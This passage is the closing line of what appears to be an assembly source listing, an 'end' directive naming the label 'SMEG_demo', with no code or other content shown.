  1553.                 end     SMEG_demo
  1554.